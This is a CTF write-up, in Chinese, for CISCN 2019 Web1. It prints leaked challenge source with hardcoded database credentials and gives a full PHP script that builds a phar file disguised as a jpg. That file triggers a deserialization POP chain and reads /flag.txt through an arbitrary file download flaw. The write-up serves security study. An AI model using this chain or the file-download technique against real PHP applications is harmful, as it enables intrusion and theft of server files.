[CISCN 2019华北Day1]Web1

[CISCN 2019华北Day1]Web1

首先注册个账户进去，随便上传点文件，发现只能上传 jpg gif png ，之后点击下载按钮抓包

发现参数filename,通过测试可以发现是个任意文件下载，但是访问/flag.txt时候显示不存在该文件

当时那字典跑了一下，发现有一个 class.php文件

下载下来看看源码

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

在 download.php 中有这样的一句话导致flag.txt不能下载

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

百度以下发现，这个是限制了目录可操作的范围

考点是phar反序列化，那么找到了关键函数在class.php文件中的close()函数中

public function close() {
        return file_get_contents($this->filename);
    }

如何触发这个 close（）函数，可以发现

public function __destruct() {
        $this->db->close();
    }

如果将User类 参数 $db 改为 类File对象就可以触发了

POP链的构造是看了大师傅的博客造的，当时没看明白Filelist是怎么利用的

大师傅原话

$this->db为FileList类的对象，然后触发其中的__call()方法

然后$this->db的$this->files数组成员的元素设置为File类的对象，

调用File类的close()方法，并存储在$this->db的$this->results数组中

最后在FileList类的析构函数输出其

<?php
class FileList
{
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $this->files=array();
        $a=new File('/flag.txt');
        array_push($this->files,$a);
    }
}
class File {
    public $filename;
    public function __construct($filename){
        $this->filename=$filename;
    }

}
class User
{
    public $db;
}
$a=new User();
$b=new FileList();
$a->db=$b;
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
unlink('./phar.jpg');
rename("./phar.phar","./phar.jpg");

最后在 delete页面触发